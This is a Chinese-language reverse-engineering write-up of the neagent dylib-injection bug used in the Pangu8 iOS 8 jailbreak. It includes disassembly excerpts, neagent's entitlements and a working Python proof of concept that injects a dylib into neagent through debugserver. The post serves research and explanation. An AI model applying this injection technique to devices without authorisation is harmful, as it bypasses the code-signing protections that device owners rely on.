盘古8越狱中所用 /usr/libexec/neagent 漏洞原理分析

这段时间对Pangu8越狱时所用的漏洞比较感兴趣,不过搜到的基本只有所使用漏洞的列表

8.0/8.0.1/8.0.2/8.1
Pangu8
- an exploit for a bug in /usr/libexec/neagent (source @iH8sn0w)
- enterprise certificate (inside the IPA)
- a kind of dylib injection into a system process (see IPA)
- a dmg mount command (looks like the Developer DMG) (syslog while jailbreaking)
- a sandboxing problem in debugserver (CVE-2014-4457)
- the same/a similar kernel exploit as used in Pangu (CVE-2014-4461) (source @iH8sn0w)
- enable-dylibs-to-override-cache
- CVE-2014-4455

经过几天的折腾,算是弄明白其中neagent漏洞的利用方法,并用Python验证了注入过程。不过个人水平有限,越看Pangu8的细节疑问越多,希望能够借此抛砖引玉讨论下其他漏洞细节。如果其中有什么疏漏之处,希望各位大侠轻拍板砖。

另外感谢jerryxjtu兄的指点,研究了几天libimobiledevice确实大有收获。为了方便调试com.apple.debugserver服务,也试着写了下Python版的debugserver.pxi并pull到了libimobiledevice:master。有兴趣使用Python版DebugServerClient的同学,可以参考这个例子:从远程启动目标App。


能查到的关于neagent这个漏洞,最早是@iH8sn0w在Twitter上提到的:https://twitter.com/ih8sn0w/status/524968711636418560

neganet Exploits

不过搜不到其他有用的信息。本着自己动手丰衣足食的想法,打算跟踪下Pangu8来看看neagent到底是怎么回事。不过看到Pangu8_v1.2.1.exe是VMP壳瞬间一头包,还好后面发现有个MacOS版的没有加壳,方便提取Payload。

参考分析Evasi0n7的方法用jtool对Pangu8主程序进行解包,原始Payload在 __TEXT.__objc_cons1 ~ __TEXT.__objc_cons7 中;用md5和机器中文件对比了下,定位了大致每个Payload的内容。(ps:有人知道__TEXT.__objc_cons1里是什么内容吗?用binwalk只知道里面有三个bzip的头部)

接着就是拿出IDA看Pangu8的主程序了,按照里面的字符串可以将越狱分为开始,6个准备阶段,2个注入阶段以及清理阶段:

__cstring:0000000100046A21 aStartJailbreak db 'Start jailbreak ..',0
__cstring:0000000100046AF3 aPreparingTheEn db 'Preparing the environment (1/6)',0
__cstring:000000010004708C aPreparingThe_2 db 'Preparing the environment (2/6)',0
__cstring:00000001000470AC aPreparingThe_3 db 'Preparing the environment (3/6)',0
__cstring:000000010004724D aPreparingThe_4 db 'Preparing the environment (4/6)',0
__cstring:0000000100046B68 aPreparingThe_0 db 'Preparing the environment (5/6)',0
__cstring:0000000100046B88 aPreparingThe_1 db 'Preparing the environment (6/6)',0
__cstring:0000000100046BA8 aInjecting12    db 'Injecting (1/2)',0
__cstring:0000000100046BEA aInjecting22    db 'Injecting (2/2)',0
__cstring:0000000100046BFA aFinalCleaning_ db 'Final cleaning...',0

‘Start jailbreak ..’

开始越狱阶段,先通过afc服务在建立 /Pangu-Install/ 目录:

# afc_make_directory(client, “/Pangu-Install/”)
__text:000000010002C5AC                 mov     rsi, cs:off_102502328 ; "/Pangu-Install/"
__text:000000010002C5B3                 call    _afc_make_directory

接着写入Payload里4个tar文件:(不勾选pphelper.tar的话)

$ ls /private/var/mobile/Media/Pangu-Install/
Cydia.tar  packagelist.tar  pangu.tar  pangu_ex.tar

‘Preparing the environment (1/6)’

准备阶段1,通过afc服务上传IPA,并通过installation_proxy的标准方式安装目标APP。这里IPA的企业版证书就不多说了,(As of now incomplete) Writeup of Pangu 里面详细介绍过为什么要调时间。

# 如果不存在,则创建PublicStaging/目录
__text:000000010002A982                 lea     rsi, aPublicstaging ; "PublicStaging"
__text:000000010002A989                 call    _afc_make_directory

# 写入PublicStaging/<timestamp>.ipa
__text:000000010002A9D6                 mov     rdi, [rbp+var_40]
__text:000000010002A9DA                 mov     rsi, [rbp+var_30] ; "PublicStaging/<timestamp>.ipa"
__text:000000010002A9DE                 lea     rcx, [rbp+var_38]
__text:000000010002A9E2                 mov     edx, 3
__text:000000010002A9E7                 call    _afc_file_open

# 调用com.apple.mobile.installation_proxy服务进行安装
__text:000000010002AA7B                 lea     rsi, aCom_apple_mo_3 ; "com.apple.mobile.installation_proxy"
__text:000000010002AA82                 lea     rdx, _instproxy_client_new

用Python重现该安装过程可以看这个脚本:afc_and_instproxy_upgrade_ipa.py

这里安装的 pangunew.ipa 里带有关键的 xuanyuansword.dylib,将在准备阶段2里用到。

’Preparing the environment (2/6)’

准备阶段2,通过debugserver注入刚才IPA里带的xuanyuansword.dylib到/usr/libexec/neagent。当然之前还有mount开发者镜像的工作,常规的mobile_image_mounter_upload_image/mobile_image_mounter_mount_image不是此次越狱的重点,就pass了。

其中的关键步骤如下:

  1. 使用 instproxy_client_get_path_for_bundle_identifier 获取app的路径(之前安装的IPA);
  2. 找到其中的 xuanyuansword.dylib 并拼接成参数字符串:DYLD_INSERT_LIBRARIES=%s/xuanyuansword.dylib
  3. 使用 debugserver_client_set_argv 启动 /usr/libexec/neagent,当然环境变量加上上面的DYLD_INSERT_LIBRARIES

这里就有个疑问了,为什么是用debugserver启动/usr/libexec/neagent注入dylib,它有什么特殊吗?ldid -e查看entitlements.xml:

# ldid -e /usr/libexec/neagent
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>com.apple.private.MobileGestalt.AllowedProtectedKeys</key>
  <array>
    <string>UniqueDeviceID</string>
  </array>
  <key>com.apple.private.neagent</key>
  <true/>
  <key>com.apple.private.necp.match</key>
  <true/>
  <key>com.apple.private.skip-library-validation</key>
  <true/>
  <key>keychain-access-groups</key>
  <array>
    <string>com.apple.identities</string>
    <string>apple</string>
    <string>com.apple.certificates</string>
  </array>
</dict>
</plist>

com.apple.private.skip-library-validation 估计这是加载dylib的关键了。不过这个skip-library-validation资料不多,只能从名字上推测是不检查DYLD_INSERT_LIBRARIES注入的dylib,难道是apple的开发为了方便调试加的?

/usr/libexec/neagent注入dylib漏洞重现

看完反汇编的代码后还是对neagent加载dylib原理不明所以,于是自己用Python写了一遍用来验证漏洞的利用过程。

首先引入imobiledevice并封装 LockdownClient.get_service_client(service_class):

from imobiledevice import *

def lockdown_get_service_client(service_class):
  ld = LockdownClient(iDevice())
  return ld.get_service_client(service_class)

接着通过 InstallationProxyClient 获取com.pangu.ipa1的Container目录,作为neagent的WorkingDir。这里参考Pangu8里筛选ReturnAttributes,不过因为pangunew.app是用户程序,所以只用browse(ApplicationType=User)的应用就可以了:

def get_pangunew_Container(bundle_id="com.pangu.ipa1"):
  instproxy = lockdown_get_service_client(InstallationProxyClient)
  client_options = plist.Dict({
    "ApplicationType": "User",
    "ReturnAttributes": plist.Array([
      "CFBundleIdentifier",
      "CFBundleExecutable",
      "Container",
    ]),
  })
  result_list = instproxy.browse(client_options)
  for app in result_list:
    if app["CFBundleIdentifier"] == bundle_id:
      return "%s" % app["Container"]
  return ""

app_container = get_pangunew_Container()

之后获取com.pangu.ipa1的Path,用来拼接dylib的绝对路径。其实这里在之前取Container时就可以直接获取到Path,不过还是按照Pangu8的换用InstallationProxyClient实现了下:

def get_pangunew_Path(bundle_id="com.pangu.ipa1"):
  instproxy = lockdown_get_service_client(InstallationProxyClient)
  return instproxy.get_path_for_bundle_identifier(bundle_id)

app_path = get_pangunew_Path()
app_path = os.path.dirname(app_path)

再来就是用 DebugServerClient 设置环境变量然后启动neagent了:

def debugserver_inject_neagent(app_container, app_path, dylib):
  debugserver = lockdown_get_service_client(DebugServerClient)

  # SetWorkingDir: 为 app_container
  with DebugServerCommand("QSetWorkingDir:", 1, [app_container]) as cmd:
    print debugserver.send_command(cmd)

  # 在环境变量里加上 DYLD_INSERT_LIBRARIES=app_path/dylib
  print debugserver.set_environment_hex_encoded("DYLD_INSERT_LIBRARIES=%s/%s" % (app_path, dylib))

  # 启动 /usr/libexec/neagent
  print debugserver.set_argv(1, ["/usr/libexec/neagent"])

完整源码:pangu8_neagent_exploit.py

这里neagent实际是没有get-task-allow=true的,不过既然dylib被加载,那么应该是从__DATA,__mod_init_func开始执行的。 看了下xuanyuansword.dylib确实如此。

写了个验证用的demo_dylib.dylib,代码如下:

// __DATA,__mod_init_func
__attribute__((constructor))
void demo_main()
{
  NSLog(@"demo dylib loaded");
}

编译后查看 __DATA,__mod_init_func 指向demo_main。复制到com.pangu.ipa1的Path路径下:

def main():
  bundle_id = "com.pangu.ipa1"
  #dylib = "xuanyuansword.dylib"
  dylib = "demo_dylib.dylib"

  app_container = get_pangunew_Container(bundle_id)
  print "Container: %s" % app_container
  app_path = get_pangunew_Path(bundle_id)
  app_path = os.path.dirname(app_path)
  print "Path: %s" % app_path

  debugserver_inject_neagent(app_container, app_path, dylib)

运行后就可以用 idevicesyslog 看到dylib的输出了:

neganet inject

注:正常情况下neagent注入执行完__mod_init_func后会被debugserver给kill掉。如果启动后neagent crash了,请检查dylib的路径是否有效,以及是否有chmod +x

文章中涉及的代码,可以在看雪帖子的底部下载:http://bbs.pediy.com/showthread.php?t=195495